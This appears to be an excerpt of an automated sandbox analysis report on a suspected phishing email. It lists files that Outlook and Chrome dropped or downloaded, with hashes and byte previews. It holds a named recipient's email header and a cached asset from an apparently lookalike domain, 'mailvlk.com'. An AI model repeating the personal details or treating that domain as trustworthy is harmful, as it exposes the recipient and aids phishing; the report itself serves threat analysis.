.d.k.b.x(Z<x...?..`..\|.`...{~...!.6...#2....?1..H...qo....G_.p..>8......6.#..B;..dQ...,.v..8P...k.[BM......P.....=...q.........Ua......p7...d.<..K..y$..2."....Q.2To.P...9?T_..?{b....9..v.;...&v.k.Z.cr<...(V.`.hE>.PG.x.wV^.\...n./.<.4.;.pr$....<&.~..L...0..........\|}..R\|7......?..:.....;.r.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	3564
Entropy (8bit):	3.702443147965675
Encrypted:	false
SSDEEP:	48:R8SYD/mOwr5v2VsBRuJKL2V2X0FjLgMdSoZUCfSIA3elhmibwZaC:0LmOK/R8V2XTUSoZZfOOjmNZH
MD5:	F4A66799ACFEC45DB5B8D29CD7C0840C
SHA1:	71A2B41CC229E49892BEDDF41553456BD5F01BE3
SHA-256:	81625DB0951F7584E539770781F5F86C2264ED9DCD05E17896FE8948D8AC26C9
SHA-512:	7051F3AF48E7D42CF5A1231CA74847E674A3314770005A854A4F59A71E7337EB80CD0466F80A48CEA0A7666C8ACD308E78162488900C5BC6E1CD1FE50BF2741D
Malicious:	false
Reputation:	low
Preview:	........F.r.o.m.:. .S.h.a.r.e.n.a. .M.a.r.r.s. .<.s.h.a.r.e.n.a.m.@.f.h.a.s.i.n.c...o.r.g.>. ...S.e.n.t.:. .T.u.e.s.d.a.y.,. .A.p.r.i.l. .2.3.,. .2.0.2.4. .1.:.0.4. .P.M...T.o.:. .S.h.a.r.e.n.a. .M.a.r.r.s. .<.s.h.a.r.e.n.a.m.@.f.h.a.s.i.n.c...o.r.g.>...S.u.b.j.e.c.t.:. .F.H.A.S. .I.n.c... .-. .P.r.i.v.a.t.e. .a.n.d. .C.o.n.f.i.d.e.n.t.i.a.l.......Y.o.u. .d.o.n.'.t. .o.f.t.e.n. .g.e.t. .e.m.a.i.l. .f.r.o.m. .........................................................................................................................Z...\...^...............................................................................................................................................................................................................................................................................................................................................................................................*...$..$.If........!v..h.#v....:V.......t.....6......5.......4........4.....

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1713966153440810300_9D896760-3D20-4F86-9968-C7231F7BD680.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28768), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.17664059999317805
Encrypted:	false
SSDEEP:	1536:uN5GMjwxT2YROPegbch+hlkVrf5+nMnq9SCjCBpceTE0gst6BTj3p8xa:2ji7RO2dvnHCdp
MD5:	4D5FCCECC161100AB04F21606011E304
SHA1:	24AF13F557D962EC7231E25C9FAC873EA0950147
SHA-256:	C2781DD73F2A10AF490969F04CF746CC145FE375E35E790E36B38222092C097D
SHA-512:	F90DD5132A7D2485E944706A2B26923C6D38D7D89CC73246C03BA17639ECADEB112079588CFEA33E8497B7C482E48C4A3A18B3B31A795A0703CFF059D6D12AAE
Malicious:	false
Reputation:	low
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..04/24/2024 13:42:33.483.OUTLOOK (0xF5C).0xFE8.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":26,"Time":"2024-04-24T13:42:33.483Z","Contract":"Office.System.Activity","Activity.CV":"YGeJnSA9hk+ZaMcjH3vWgA.4.11","Activity.Duration":12,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...04/24/2024 13:42:33.499.OUTLOOK (0xF5C).0xFE8.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":28,"Time":"2024-04-24T13:42:33.499Z","Contract":"Office.System.Activity","Activity.CV":"YGeJnSA9hk+ZaMcjH3vWgA.4.12","Activity.Duration":12079,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorVers

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1713966153441651900_9D896760-3D20-4F86-9968-C7231F7BD680.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240424T1542330214-3932.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	4.482257808984844
Encrypted:	false
SSDEEP:	768:1iuEM4RK5Wf6sge/4IZ9C2X6DgBX8vmoWwWVWE1WA:xK4IZ9C2X6D6Xko
MD5:	143C7B3DB62278207FE35C020B6215AE
SHA1:	08E6398F0F0E84EA0968D996185A6B355E2535A8
SHA-256:	D3090901D2063D3F3F20B69B4AC03859B11F7F74D9E22D84AE7424BC42F0375C
SHA-512:	48C5B939A58140FDA83634007EA6DA60C0DC4283AD777218345C0CD5A04F2AFDEF6F6962C0FA3BD36FF8DBA43067216CC442A63284FB24A92BB3E50A819D7384
Malicious:	false
Preview:	............................................................................b.......\....%pBM...................eJ..............Zb..2.......................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1............................................................z.v.Y...........%pBM...........v.2._.O.U.T.L.O.O.K.:.f.5.c.:.3.5.6.1.c.e.7.8.9.b.8.2.4.e.5.6.a.b.7.2.1.4.5.e.d.c.b.6.4.d.f.8...C.:.\.U.s.e.r.s.\.t.o.r.r.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.0.4.2.4.T.1.5.4.2.3.3.0.2.1.4.-.3.9.3.2...e.t.l.............P.P.....\....%pBM...................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC466553D3B223022.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	0.38362673260668007
Encrypted:	false
SSDEEP:	192:GSkiEU4ztSCQR9Vq2ljhl8rywBhPP/fRgl/mgutNgiXHWQOoLNh/:I/VK9VnJWyoFfREiXHOo
MD5:	22F44DD083E243907B953CE01ACDF538
SHA1:	ACB8184EDD2A67A89F2E57FB20FD760B141D3DBC
SHA-256:	A2A921E299DACE68B658BC34232600D47D8762A8F9CA70D7DA595198E096416F
SHA-512:	A2A1189D53C6A611BF083A8D176BD7DD1822A1FC058B651849A361689F93A32A093153F69D3AAAED47991FA690457C6B0C3D58A88940CAE6CBD3FE2119D773B7
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:OQhv:OQ
MD5:	44C24E2CEF359A750C3AC17C89F8F014
SHA1:	7293687CB87DBF6408A229198F144849EF4F72BB
SHA-256:	C29FB5AF5A20981C3F1E72CC821BDA007DA91AB3B60A0CF0623558C12C56D84C
SHA-512:	E15025CB749E8E199F0216F6223CAB01C109D0932AB4512B08745D93493BE95C4289797FC06079C428AC3E84FB18423EB8A7531B4C76566600F0535D7C4A1EA4
Malicious:	false
Preview:	..............................

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:QRi54vl:QP9
MD5:	A5E51FDFAF429614FB5218AB559D299A
SHA1:	262EC76760BB9A83BCFF955C985E70820DF567AE
SHA-256:	3E82E9F60CE38815C28B0E5323268BDA212A84C3A9C7ACCC731360F998DF0240
SHA-512:	9B68F1C04BDE0024CECFC05A37932368CE2F09BD96C72AB0442E16C8CF5456ED9BB995901095AC1BBDF645255014A5E43AADEE475564F01CA6BE3889C96C29C9
Malicious:	false
Preview:	..t.o.r.r.e.s.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 12:42:47 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9846902971855847
Encrypted:	false
SSDEEP:	48:8GNdMTt7KbSHridAKZdA1JehwiZUklqehRdy+3:8GMkSwdy
MD5:	7400AC9B88273B87AD68837774D41288
SHA1:	381B7C8444499939E9B5833B11C80AD91E2CBC64
SHA-256:	F2F3FAA9F0E1A5206D35C321F222A6847017836AFAAD86286EAAE557441F5CC1
SHA-512:	4146E240A50FEE5791527B65C04A00498D0E8DE4C85F48D422EA0BF34C9341B03682ECB036ACBE44A3FD56B2309A21BED2A79C535B3D1EDF3547B9382DC3EB67
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Jo.JM.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XHm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XVm....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XVm....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XVm...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XXm...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 12:42:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002226976092641
Encrypted:	false
SSDEEP:	48:8ENdMTt7KbSHridAKZdA10eh/iZUkAQkqehgdy+2:8EMk49Q/dy
MD5:	F2079D55B6994BE0265CC2F31C57D797
SHA1:	07519CB203197037F879DA58618F30FC3321B16E
SHA-256:	CF01704AF0261B4A2EC05CA72C3EEE834E677D26936B3FA290FE1D909902D7A3
SHA-512:	C5AF0C3D2449C8C5B9BDC4CD373C95FDE30FAB20CD1B57DAF4F050F1735A9396CEA2C2D6A909EEA254F4DDCBBDD1417A68745003582ED90A0244C6A15D1F0001
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....>.JM.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XHm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XVm....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XVm....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XVm...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XXm...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0123973814276095
Encrypted:	false
SSDEEP:	48:8eNdMTt7KjHridAKZdA14tIeh7sFiZUkmgqeh7sGdy+BX:8eMkvncdy
MD5:	5499E679C402A5AD8F73B1462C828295
SHA1:	92132A6E041B18B6A33E6EA03F53380A29D69F5D
SHA-256:	DFB8CC44875967C7B373BD0FDDCD68038A48654426556B5C30C7750083D6D7D6
SHA-512:	9EF4129ED643F0034DC346B6828FD13F72B483EE23400DB7B45F1B9B7B88C29DC1198D85A77F5EE5A384B2C4BF93B3E975E463C4BE83EAD432A86EA4DF293442
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XHm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XVm....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XVm....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XVm...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 12:42:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.002518300365444
Encrypted:	false
SSDEEP:	48:8nNdMTt7KbSHridAKZdA1behDiZUkwqehEdy+R:8nMkTudy
MD5:	CC21B60425FF0FEFF610AD9B8D70CABE
SHA1:	F55C177371E108F62610523AC15CEB9BE7F2E813
SHA-256:	3E8EA803216F443967592A8E92C054D57D648193079D549A90FD8C1006970A25
SHA-512:	09CBC601C411125846CF2BFE9D7DE72D008D2DA76EDCD90CDA375AE2BDE1206B9789A4EBC2AAF6CD70DEAF3F14280CD7D295F322167785C46E065BE874DEAE79
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......JM.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XHm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XVm....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XVm....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XVm...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XXm...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 12:42:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9901390663194687
Encrypted:	false
SSDEEP:	48:8INdMTt7KbSHridAKZdA1VehBiZUk1W1qehCdy+C:8IMkD9idy
MD5:	1B244364886BA3ED3B4DAB431B7AFF98
SHA1:	E9EB6039EE0792ECC2FF4C5DBF76543DCA237C02
SHA-256:	57167155982E8FDFB548D4A78CD1CC38BE44B8D3898C081C07CF3B70E024B06A
SHA-512:	03473614D30C0D52F6777534817E08FC62F7E5A878605C61F57C88902C85B9C42372DBD5FEDDB35D12E8520B5EB947E0BD05A5C17C12B48C2268FA5985D0CE97
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......JM.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XHm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XVm....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XVm....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XVm...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XXm...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 24 12:42:46 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.00006081155164
Encrypted:	false
SSDEEP:	48:8ANdMTt7KbSHridAKZdA1duT6ehOuTbbiZUk5OjqehOuTbcdy+yT+:8AMkfTTTbxWOvTbcdy7T
MD5:	9DB1927E262ED9F4569922D418E9BCC7
SHA1:	F7E2DD6F63291BC6B6B4FADB9AE33FCC14DDD5BB
SHA-256:	E5E88DB2F0E9DDF4E6D36F733BCBC269890AE73E9123FB7C3F18C89420113EBA
SHA-512:	4A0DDBF5D3126ACDDC5D27E6C8B2F43F22D613788D7DCCB6AD52C1B661E9772243C7F8C75B7640CC516DF715F56556ADDEDFA77376F358328A6B3658ADE598EB
Malicious:	false
Preview:	L..................F.@.. ...$+.,......JM.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XHm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XVm....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XVm....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XVm...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XXm...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	1.2907402384016615
Encrypted:	false
SSDEEP:	768:8fOQcUx7VDQYphaalgd6T1f7aGJVbo17gGbeg7GBi+hBf78BUTIZ:OpQYnaal7f41sGt+vf7eNZ
MD5:	9FDF1063BF52075BE7E4D8A107A6BAE6
SHA1:	46A1033901A316E2A04DDD5B19E1904194CE6D6E
SHA-256:	794D4758B96D4F54904272E53DA9E4D1BDE730344949660066FEEE23E5180C23
SHA-512:	724D612021A4C9A39BAC275E8D7600C233781A331E2918374A7A3033D91321FBC60E9E298535484475025C1045006C5FBDCE40CCD389AA275A705BD3A4342CC4
Malicious:	false
Preview:	!BDN.V/qSM......\...............N.......U................@...........@...@...................................@...........................................................................$.......D.......V..............>...............M....................................................................................................................................................................................................................................................................................................M...j......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	1.2450641201331658
Encrypted:	false
SSDEEP:	384:H5jMVwk63kTxwxxjpS3hjgntDTFDmC6CGNlFBZG0yO4rDW55g47G1RH3:H5Awk60GZZICGPABfsiZ
MD5:	0B6BDA32ED9C81AF916C7096AEC43C04
SHA1:	EB0FD2EDDE5784CBFE5B65E0BBA73AE05D440F3C
SHA-256:	F8676FDBB23672FCE761798F08F473624861920611A1BE11CF7F066504F3D4CF
SHA-512:	3E777A53D2A3C338D3FAB9BB323CDA40360F78A4E7E3308473B0F6169F3B602129F1134113EFF3E95F78E2E30BB5455142D992C427C5CB0397AF2A2AC599E37A
Malicious:	false
Preview:	F..0...X.......\.....JBM........D............#...........?..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................D......Rb..0...Y.......\.....JBM........B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
URL:	https://mailvlk.com/ASSETS/img/m_.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1304
Entropy (8bit):	4.68425644587903
Encrypted:	false
SSDEEP:	24:mioTJODICcnv8cKoexKc846vgBie9ZY8mlvOq8RvLNHVENggeGg:micaIPU7oeoc8xYBfmlgRjNOen
MD5:	DBAC2EBFBE18E8C7CF3830AF4C420E77
SHA1:	78ADD1C663DD8B4AD6BBF89E48376015EA08A85A
SHA-256:	491377DB69C365D489C88BD4AC641D341B52E6A70B034390A5FC3D161268BCA5
SHA-512:	7DBFFD0FB6EC417AB7481919357D20D78224C9B97D180B603CFCD8F8808EA8FD54A4D15103178C15A985C563BE80CBBB6391E58D06C42F1062DF0948E79F7880
Malicious:	false
Preview:	{.. "FormFailedToLoad": "Failed to load form",.. "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue",.. "LearnMore": "Learn more",.. "FormSubmitted": "Form submitted",.. "FormSubmitError": "Error submitting the form",.. "Reload": "Reload",.. "LookupLoading": "loading...",.. "LookupGenericError": "There was a problem retrieving items. Try again later.",.. "ValidationRequiredField": "This field is required",.. "EventFailedToLoad": "Failed to load event.",.. "EventAtCapacity": "This event is no longer accepting registrations.",.. "EventNotLive": "We are still setting up this event. Please check again in some time or contact the event organizer ",.. "SubmissionErrorEventNotLive": "Registrations for this event have been closed. We look forward to seeing you at our next event.",.. "SubmissionErrorEventCapacityIsFull": "Registrations for this event have been closed. We.re a

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	105369
Entropy (8bit):	5.240719144154261
Encrypted:	false
